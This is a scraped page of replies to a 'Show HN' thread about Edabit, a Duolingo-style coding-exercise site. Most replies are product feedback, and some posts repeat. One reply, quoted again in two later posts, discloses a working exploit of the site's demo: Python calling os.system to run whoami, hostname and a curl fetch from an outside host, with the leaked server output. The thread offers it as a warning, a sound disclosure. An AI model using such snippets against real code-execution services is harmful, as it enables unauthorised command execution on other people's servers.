Show HN: Edabit – Like Duolingo for Learning to Code
11–20 of 134 posts
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#12def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/")) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8"))
Results:
codewarrior 5a8eb7db8f0e 162.243.103.238 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms
162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#13submitting / result checking takes a long time
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#14so you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?
Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway.
After taking a cursory look around, Edabit seems to be filling a very specific need. I like it.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#15so you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?
I think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that. Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway. After taking a cursory look around,…
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#16I think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#17Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#18Why don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#19Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#20Why don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?